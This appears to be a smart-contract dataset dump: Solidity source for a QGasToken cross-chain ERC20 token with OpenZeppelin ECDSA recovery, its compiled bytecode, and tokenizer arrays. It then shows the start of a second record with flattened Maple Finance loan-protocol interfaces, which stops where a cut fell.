by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: contracts/QGasToken.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @notice QGasToken contract realizes cross-chain with QGas */ contract QGasToken is Initializable, ERC20UpgradeSafe, OwnableUpgradeSafe { using ECDSA for bytes32; using SafeMath for uint256; mapping(bytes32 => bytes32) private _lockedOrigin; mapping(bytes32 => uint256) private _lockedAmount; mapping(bytes32 => address) private _lockedUser; mapping(bytes32 => uint256) private _lockedHeight; mapping(bytes32 => uint256) private _unlockedHeight; uint256 private _issueInterval; uint256 private _destoryInterval; uint256 private _minIssueAmount; uint256 private _minDestroyAmount; mapping(bytes32 => uint256) public lockedAmount; uint256 public id; bool public active; modifier isActive { require(active == true); _; } /** * @dev Emitted Mint Info * * Parameters: * - `user`: index, user address * - `qlcHash`: qlc transaction hash * - `amount`: mint amount */ event Mint(address indexed user, bytes32 qlcHash, uint256 amount); /** * @dev Emitted Burn Info * * Parameters: * - `user`: index, user address * - `qlcHash`: qgas token receiver address * - `amount`: burn amount */ event Burn(address indexed user, string qlcAddr, uint256 amount); /** * @dev Initializes the QGasToken * * Parameters: * - `name`: name of the token * - `symbol`: the token symbol */ function initialize(string memory _name, string memory _symbol, uint256 _id) public initializer { __ERC20_init(_name, _symbol); __Ownable_init(); _setupDecimals(8); _mint(msg.sender, 0); id = _id; active = true; } /** * @dev mint `amount` token to user * Emits a {Mint} event. * * Parameters: * - `amount` mint amount * - `qlcHash` qlc transaction hash * - `signature` owner's signature */ function mint(uint256 amount, bytes32 qlcHash, bytes memory signature) public isActive { require(lockedAmount[qlcHash] == 0, "duplicated hash"); bytes memory rBytes = abi.encodePacked(amount, msg.sender, qlcHash, id); bytes32 h = sha256(rBytes); require(h.recover(signature) == owner(), "invalid signature"); lockedAmount[qlcHash] = amount; _mint(msg.sender, amount); emit Mint(msg.sender, qlcHash, amount); } /** * @dev burn `amount` from user * Emits a {Burn} event. * * Parameters: * - `qlcAddr` qgas token receiver address * - `amount` burn amount */ function burn(string memory qlcAddr, uint256 amount) public isActive { require(bytes(qlcAddr).length == 64, "invalid qlc address"); _burn(msg.sender, amount); emit Burn(msg.sender, qlcAddr, amount); } function circuitBraker() public onlyOwner { active = !active; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063af640d0f1161007c578063af640d0f1461041c578063b119490e14610424578063b48272cc1461054f578063dd064a7d146105f5578063dd62ed3e146105fd578063f2fde38b1461062b57610137565b80638da5cb5b146102e857806395d89b411461030c5780639ab475b514610314578063a457c2d7146103c4578063a9059cbb146103f057610137565b806323b872dd116100ff57806323b872dd14610238578063313ce5671461026e578063395093511461028c57806370a08231146102b8578063715018a6146102de57610137565b806302fb0c5e1461013c57806306fdde0314610158578063095ea7b3146101d5578063172a16a41461020157806318160ddd14610230575b600080fd5b610144610651565b604080519115158252519081900360200190f35b61016061065a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019a578181015183820152602001610182565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610144600480360360408110156101eb57600080fd5b506001600160a01b0381351690602001356106f1565b61021e6004803603602081101561021757600080fd5b503561070e565b60408051918252519081900360200190f35b61021e610720565b6101446004803603606081101561024e57600080fd5b506001600160a01b03813581169160208101359091169060400135610726565b6102766107b3565b6040805160ff9092168252519081900360200190f35b610144600480360360408110156102a257600080fd5b506001600160a01b0381351690602001356107bc565b61021e600480360360208110156102ce57600080fd5b50356001600160a01b0316610810565b6102e661082b565b005b6102f06108df565b604080516001600160a01b039092168252519081900360200190f35b6101606108ee565b6102e66004803603606081101561032a57600080fd5b813591602081013591810190606081016040820135600160201b81111561035057600080fd5b82018360208201111561036257600080fd5b803590602001918460018302840111600160201b8311171561038357600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061094f945050505050565b610144600480360360408110156103da57600080fd5b506001600160a01b038135169060200135610b46565b6101446004803603604081101561040657600080fd5b506001600160a01b038135169060200135610bb4565b61021e610bc8565b6102e66004803603606081101561043a57600080fd5b810190602081018135600160201b81111561045457600080fd5b82018360208201111561046657600080fd5b803590602001918460018302840111600160201b8311171561048757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156104d957600080fd5b8201836020820111156104eb57600080fd5b803590602001918460018302840111600160201b8311171561050c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610bce915050565b6102e66004803603604081101561056557600080fd5b810190602081018135600160201b81111561057f57600080fd5b82018360208201111561059157600080fd5b803590602001918460018302840111600160201b831117156105b257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610cac915050565b6102e6610dc5565b61021e6004803603604081101561061357600080fd5b506001600160a01b0381358116916020013516610e43565b6102e66004803603602081101561064157600080fd5b50356001600160a01b0316610e6e565b60d45460ff1681565b60688054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106e65780601f106106bb576101008083540402835291602001916106e6565b820191906000526020600020905b8154815290600101906020018083116106c957829003601f168201915b505050505090505b90565b60006107056106fe610f79565b8484610f7d565b50600192915050565b60d26020526000908152604090205481565b60675490565b6000610733848484611069565b6107a98461073f610f79565b6107a485604051806060016040528060288152602001611c7e602891396001600160a01b038a1660009081526066602052604081209061077d610f79565b6001600160a01b03168152602081019190915260400160002054919063ffffffff6111d216565b610f7d565b5060019392505050565b606a5460ff1690565b60006107056107c9610f79565b846107a485606660006107da610f79565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61126916565b6001600160a01b031660009081526065602052604090205490565b610833610f79565b6097546001600160a01b03908116911614610895576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6097546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3609780546001600160a01b0319169055565b6097546001600160a01b031690565b60698054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106e65780601f106106bb576101008083540402835291602001916106e6565b60d45460ff16151560011461096357600080fd5b600082815260d26020526040902054156109b6576040805162461bcd60e51b815260206004820152600f60248201526e0c8eae0d8d2c6c2e8cac840d0c2e6d608b1b604482015290519081900360640190fd5b60d3546040805160208082018790523360601b8284015260548201869052607480830194909452825180830390940184526094909101918290528251600092600292859282918401908083835b60208310610a225780518252601f199092019160209182019101610a03565b51815160209384036101000a60001901801990921691161790526040519190930194509192505080830381855afa158015610a61573d6000803e3d6000fd5b5050506040513d6020811015610a7657600080fd5b50519050610a826108df565b6001600160a01b0316610a9b828563ffffffff6112ca16565b6001600160a01b031614610aea576040805162461bcd60e51b8152602060048201526011602482015270696e76616c6964207369676e617475726560781b604482015290519081900360640190fd5b600084815260d260205260409020859055610b0533866114b1565b6040805185815260208101879052815133927f103a2d32aec953695f3b9ec5ed6c1c6cb822debe92cf1fcf0832cb2c262c7eec928290030190a25050505050565b6000610705610b53610f79565b846107a485604051806060016040528060258152602001611d3e6025913960666000610b7d610f79565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff6111d216565b6000610705610bc1610f79565b8484611069565b60d35481565b600054610100900460ff1680610be75750610be76115af565b80610bf5575060005460ff16155b610c305760405162461bcd60e51b815260040180806020018281038252602e815260200180611ca6602e913960400191505060405180910390fd5b600054610100900460ff16158015610c5b576000805460ff1961ff0019909116610100171660011790555b610c6584846115b5565b610c6d61166b565b610c77600861171d565b610c823360006114b1565b60d382905560d4805460ff191660011790558015610ca6576000805461ff00191690555b50505050565b60d45460ff161515600114610cc057600080fd5b8151604014610d0c576040805162461bcd60e51b8152602060048201526013602482015272696e76616c696420716c63206164647265737360681b604482015290519081900360640190fd5b610d163382611733565b336001600160a01b03167ffdf096248d2b7b0aef506231c043107c21faacc26193881b3f0cdc8b5479692a83836040518080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610d86578181015183820152602001610d6e565b50505050905090810190601f168015610db35780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25050565b610dcd610f79565b6097546001600160a01b03908116911614610e2f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60d4805460ff19811660ff90911615179055565b6001600160a01b03918216600090815260666020908152604080832093909416825291909152205490565b610e76610f79565b6097546001600160a01b03908116911614610ed8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610f1d5760405162461bcd60e51b8152600401808060200182810382526026815260200180611bcc6026913960400191505060405180910390fd5b6097546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3609780546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b038316610fc25760405162461bcd60e51b8152600401808060200182810382526024815260200180611d1a6024913960400191505060405180910390fd5b6001600160a01b0382166110075760405162461bcd60e51b8152600401808060200182810382526022815260200180611bf26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260666020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166110ae5760405162461bcd60e51b8152600401808060200182810382526025815260200180611cf56025913960400191505060405180910390fd5b6001600160a01b0382166110f35760405162461bcd60e51b8152600401808060200182810382526023815260200180611b876023913960400191505060405180910390fd5b6110fe838383611666565b61114181604051806060016040528060268152602001611c14602691396001600160a01b038616600090815260656020526040902054919063ffffffff6111d216565b6001600160a01b038085166000908152606560205260408082209390935590841681522054611176908263ffffffff61126916565b6001600160a01b0380841660008181526065602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156112615760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561122657818101518382015260200161120e565b50505050905090810190601f1680156112535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156112c3576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60008151604114611322576040805162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015290519081900360640190fd5b60208201516040830151606084015160001a7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156113935760405162461bcd60e51b8152600401808060200182810382526022815260200180611c3a6022913960400191505060405180910390fd5b8060ff16601b141580156113ab57508060ff16601c14155b156113e75760405162461bcd60e51b8152600401808060200182810382526022815260200180611c5c6022913960400191505060405180910390fd5b60408051600080825260208083018085528a905260ff85168385015260608301879052608083018690529251909260019260a080820193601f1981019281900390910190855afa15801561143f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166114a7576040805162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015290519081900360640190fd5b9695505050505050565b6001600160a01b03821661150c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61151860008383611666565b60675461152b908263ffffffff61126916565b6067556001600160a01b038216600090815260656020526040902054611557908263ffffffff61126916565b6001600160a01b03831660008181526065602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b303b1590565b600054610100900460ff16806115ce57506115ce6115af565b806115dc575060005460ff16155b6116175760405162461bcd60e51b815260040180806020018281038252602e815260200180611ca6602e913960400191505060405180910390fd5b600054610100900460ff16158015611642576000805460ff1961ff0019909116610100171660011790555b61164a61183b565b61165483836118db565b8015611666576000805461ff00191690555b505050565b600054610100900460ff168061168457506116846115af565b80611692575060005460ff16155b6116cd5760405162461bcd60e51b815260040180806020018281038252602e815260200180611ca6602e913960400191505060405180910390fd5b600054610100900460ff161580156116f8576000805460ff1961ff0019909116610100171660011790555b61170061183b565b6117086119b3565b801561171a576000805461ff00191690555b50565b606a805460ff191660ff92909216919091179055565b6001600160a01b0382166117785760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd46021913960400191505060405180910390fd5b61178482600083611666565b6117c781604051806060016040528060228152602001611baa602291396001600160a01b038516600090815260656020526040902054919063ffffffff6111d216565b6001600160a01b0383166000908152606560205260409020556067546117f3908263ffffffff611aac16565b6067556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600054610100900460ff168061185457506118546115af565b80611862575060005460ff16155b61189d5760405162461bcd60e51b815260040180806020018281038252602e815260200180611ca6602e913960400191505060405180910390fd5b600054610100900460ff16158015611708576000805460ff1961ff001990911661010017166001179055801561171a576000805461ff001916905550565b600054610100900460ff16806118f457506118f46115af565b80611902575060005460ff16155b61193d5760405162461bcd60e51b815260040180806020018281038252602e815260200180611ca6602e913960400191505060405180910390fd5b600054610100900460ff16158015611968576000805460ff1961ff0019909116610100171660011790555b825161197b906068906020860190611aee565b50815161198f906069906020850190611aee565b50606a805460ff191660121790558015611666576000805461ff0019169055505050565b600054610100900460ff16806119cc57506119cc6115af565b806119da575060005460ff16155b611a155760405162461bcd60e51b815260040180806020018281038252602e815260200180611ca6602e913960400191505060405180910390fd5b600054610100900460ff16158015611a40576000805460ff1961ff0019909116610100171660011790555b6000611a4a610f79565b609780546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350801561171a576000805461ff001916905550565b60006112c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d2565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611b2f57805160ff1916838001178555611b5c565b82800160010185558215611b5c579182015b82811115611b5c578251825591602001919060010190611b41565b50611b68929150611b6c565b5090565b6106ee91905b80821115611b685760008155600101611b7256fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545434453413a20696e76616c6964207369676e6174757265202773272076616c756545434453413a20696e76616c6964207369676e6174757265202776272076616c756545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656445524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220425aa816afad085644fa7fa6175bdc5eb60e8cc356146f1c724ba4b04a1ae9ac64736f6c63430006020033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 22907, 6305, 19317, 28154, 2475, 2497, 2850, 2278, 7011, 2050, 2692, 2546, 2581, 2620, 27531, 14142, 2581, 22907, 2094, 2581, 2487, 10322, 2094, 17465, 26337, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 28855, 14820, 1011, 7427, 1013, 8311, 1013, 3988, 21335, 3468, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2484, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3988, 21335, 3468, 1008, 1008, 1030, 16475, 2393, 2121, 3206, 2000, 2490, 3988, 17629, 4972, 1012, 2000, 2224, 2009, 1010, 5672, 1008, 1996, 9570, 2953, 2007, 1037, 3853, 2008, 2038, 1996, 1036, 3988, 17629, 1036, 16913, 18095, 1012, 1008, 5432, 1024, 4406, 9570, 5668, 1010, 3988, 17629, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,487
0x96e295DCD0c3C4397BeCb8E056B2E0cc12732B1b
// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/Loan.sol pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0; ////// contracts/interfaces/ICollateralLocker.sol /* pragma solidity 0.6.11; */ interface ICollateralLocker { function collateralAsset() external view returns (address); function loan() external view returns (address); function pull(address, uint256) external; } ////// contracts/interfaces/ICollateralLockerFactory.sol /* pragma solidity 0.6.11; */ interface ICollateralLockerFactory { function owner(address) external view returns (address); function isLocker(address) external view returns (bool); function factoryType() external view returns (uint8); function newLocker(address) external returns (address); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// contracts/interfaces/IERC20Details.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ interface IERC20Details is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256); } ////// contracts/interfaces/IFundingLocker.sol /* pragma solidity 0.6.11; */ interface IFundingLocker { function liquidityAsset() external view returns (address); function loan() external view returns (address); function pull(address, uint256) external; function drain() external; } ////// contracts/interfaces/IFundingLockerFactory.sol /* pragma solidity 0.6.11; */ interface IFundingLockerFactory { function owner(address) external view returns (address); function isLocker(address) external view returns (bool); function factoryType() external view returns (uint8); function newLocker(address) external returns (address); } ////// contracts/interfaces/ILateFeeCalc.sol /* pragma solidity 0.6.11; */ interface ILateFeeCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function lateFee() external view returns (uint256); function getLateFee(uint256) external view returns (uint256); } ////// contracts/interfaces/ILiquidityLocker.sol /* pragma solidity 0.6.11; */ interface ILiquidityLocker { function pool() external view returns (address); function liquidityAsset() external view returns (address); function transfer(address, uint256) external; function fundLoan(address, address, uint256) external; } ////// contracts/interfaces/ILoanFactory.sol /* pragma solidity 0.6.11; */ interface ILoanFactory { function CL_FACTORY() external view returns (uint8); function FL_FACTORY() external view returns (uint8); function INTEREST_CALC_TYPE() external view returns (uint8); function LATEFEE_CALC_TYPE() external view returns (uint8); function PREMIUM_CALC_TYPE() external view returns (uint8); function globals() external view returns (address); function loansCreated() external view returns (uint256); function loans(uint256) external view returns (address); function isLoan(address) external view returns (bool); function loanFactoryAdmins(address) external view returns (bool); function setGlobals(address) external; function createLoan(address, address, address, address, uint256[5] memory, address[3] memory) external returns (address); function setLoanFactoryAdmin(address, bool) external; function pause() external; function unpause() external; } ////// contracts/interfaces/IMapleGlobals.sol /* pragma solidity 0.6.11; */ interface IMapleGlobals { function pendingGovernor() external view returns (address); function governor() external view returns (address); function globalAdmin() external view returns (address); function mpl() external view returns (address); function mapleTreasury() external view returns (address); function isValidBalancerPool(address) external view returns (bool); function treasuryFee() external view returns (uint256); function investorFee() external view returns (uint256); function defaultGracePeriod() external view returns (uint256); function fundingPeriod() external view returns (uint256); function swapOutRequired() external view returns (uint256); function isValidLiquidityAsset(address) external view returns (bool); function isValidCollateralAsset(address) external view returns (bool); function isValidPoolDelegate(address) external view returns (bool); function validCalcs(address) external view returns (bool); function isValidCalc(address, uint8) external view returns (bool); function getLpCooldownParams() external view returns (uint256, uint256); function isValidLoanFactory(address) external view returns (bool); function isValidSubFactory(address, address, uint8) external view returns (bool); function isValidPoolFactory(address) external view returns (bool); function getLatestPrice(address) external view returns (uint256); function defaultUniswapPath(address, address) external view returns (address); function minLoanEquity() external view returns (uint256); function maxSwapSlippage() external view returns (uint256); function protocolPaused() external view returns (bool); function stakerCooldownPeriod() external view returns (uint256); function lpCooldownPeriod() external view returns (uint256); function stakerUnstakeWindow() external view returns (uint256); function lpWithdrawWindow() external view returns (uint256); function oracleFor(address) external view returns (address); function validSubFactories(address, address) external view returns (bool); function setStakerCooldownPeriod(uint256) external; function setLpCooldownPeriod(uint256) external; function setStakerUnstakeWindow(uint256) external; function setLpWithdrawWindow(uint256) external; function setMaxSwapSlippage(uint256) external; function setGlobalAdmin(address) external; function setValidBalancerPool(address, bool) external; function setProtocolPause(bool) external; function setValidPoolFactory(address, bool) external; function setValidLoanFactory(address, bool) external; function setValidSubFactory(address, address, bool) external; function setDefaultUniswapPath(address, address, address) external; function setPoolDelegateAllowlist(address, bool) external; function setCollateralAsset(address, bool) external; function setLiquidityAsset(address, bool) external; function setCalc(address, bool) external; function setInvestorFee(uint256) external; function setTreasuryFee(uint256) external; function setMapleTreasury(address) external; function setDefaultGracePeriod(uint256) external; function setMinLoanEquity(uint256) external; function setFundingPeriod(uint256) external; function setSwapOutRequired(uint256) external; function setPriceOracle(address, address) external; function setPendingGovernor(address) external; function acceptGovernor() external; } ////// contracts/token/interfaces/IBaseFDT.sol /* pragma solidity 0.6.11; */ interface IBaseFDT { /** @dev Returns the total amount of funds a given address is able to withdraw currently. @param owner Address of FDT holder. @return A uint256 representing the available funds for a given account. */ function withdrawableFundsOf(address owner) external view returns (uint256); /** @dev Withdraws all available funds for a FDT holder. */ function withdrawFunds() external; /** @dev This event emits when new funds are distributed. @param by The address of the sender that distributed funds. @param fundsDistributed The amount of funds received for distribution. */ event FundsDistributed(address indexed by, uint256 fundsDistributed); /** @dev This event emits when distributed funds are withdrawn by a token holder. @param by The address of the receiver of funds. @param fundsWithdrawn The amount of funds that were withdrawn. @param totalWithdrawn The total amount of funds that were withdrawn. */ event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn); } ////// contracts/token/interfaces/IBasicFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import "./IBaseFDT.sol"; */ interface IBasicFDT is IBaseFDT, IERC20 { event PointsPerShareUpdated(uint256); event PointsCorrectionUpdated(address indexed, int256); function withdrawnFundsOf(address) external view returns (uint256); function accumulativeFundsOf(address) external view returns (uint256); function updateFundsReceived() external; } ////// contracts/token/interfaces/IExtendedFDT.sol /* pragma solidity 0.6.11; */ /* import "./IBasicFDT.sol"; */ interface IExtendedFDT is IBasicFDT { event LossesPerShareUpdated(uint256); event LossesCorrectionUpdated(address indexed, int256); event LossesDistributed(address indexed, uint256); event LossesRecognized(address indexed, uint256, uint256); function lossesPerShare() external view returns (uint256); function recognizableLossesOf(address) external view returns (uint256); function recognizedLossesOf(address) external view returns (uint256); function accumulativeLossesOf(address) external view returns (uint256); function updateLossesReceived() external; } ////// contracts/token/interfaces/IPoolFDT.sol /* pragma solidity 0.6.11; */ /* import "./IExtendedFDT.sol"; */ interface IPoolFDT is IExtendedFDT { function interestSum() external view returns (uint256); function poolLosses() external view returns (uint256); function interestBalance() external view returns (uint256); function lossesBalance() external view returns (uint256); } ////// contracts/interfaces/IPool.sol /* pragma solidity 0.6.11; */ /* import "../token/interfaces/IPoolFDT.sol"; */ interface IPool is IPoolFDT { function poolDelegate() external view returns (address); function poolAdmins(address) external view returns (bool); function deposit(uint256) external; function increaseCustodyAllowance(address, uint256) external; function transferByCustodian(address, address, uint256) external; function poolState() external view returns (uint256); function deactivate() external; function finalize() external; function claim(address, address) external returns (uint256[7] memory); function setLockupPeriod(uint256) external; function setStakingFee(uint256) external; function setPoolAdmin(address, bool) external; function fundLoan(address, address, uint256) external; function withdraw(uint256) external; function superFactory() external view returns (address); function triggerDefault(address, address) external; function isPoolFinalized() external view returns (bool); function setOpenToPublic(bool) external; function setAllowList(address, bool) external; function allowedLiquidityProviders(address) external view returns (bool); function openToPublic() external view returns (bool); function intendToWithdraw() external; function DL_FACTORY() external view returns (uint8); function liquidityAsset() external view returns (address); function liquidityLocker() external view returns (address); function stakeAsset() external view returns (address); function stakeLocker() external view returns (address); function stakingFee() external view returns (uint256); function delegateFee() external view returns (uint256); function principalOut() external view returns (uint256); function liquidityCap() external view returns (uint256); function lockupPeriod() external view returns (uint256); function depositDate(address) external view returns (uint256); function debtLockers(address, address) external view returns (address); function withdrawCooldown(address) external view returns (uint256); function setLiquidityCap(uint256) external; function cancelWithdraw() external; function reclaimERC20(address) external; function BPTVal(address, address, address, address) external view returns (uint256); function isDepositAllowed(uint256) external view returns (bool); function getInitialStakeRequirements() external view returns (uint256, uint256, bool, uint256, uint256); } ////// contracts/interfaces/IPoolFactory.sol /* pragma solidity 0.6.11; */ interface IPoolFactory { function LL_FACTORY() external view returns (uint8); function SL_FACTORY() external view returns (uint8); function poolsCreated() external view returns (uint256); function globals() external view returns (address); function pools(uint256) external view returns (address); function isPool(address) external view returns (bool); function poolFactoryAdmins(address) external view returns (bool); function setGlobals(address) external; function createPool(address, address, address, address, uint256, uint256, uint256) external returns (address); function setPoolFactoryAdmin(address, bool) external; function pause() external; function unpause() external; } ////// contracts/interfaces/IPremiumCalc.sol /* pragma solidity 0.6.11; */ interface IPremiumCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function premiumFee() external view returns (uint256); function getPremiumPayment(address) external view returns (uint256, uint256, uint256); } ////// contracts/interfaces/IRepaymentCalc.sol /* pragma solidity 0.6.11; */ interface IRepaymentCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function getNextPayment(address) external view returns (uint256, uint256, uint256); } ////// 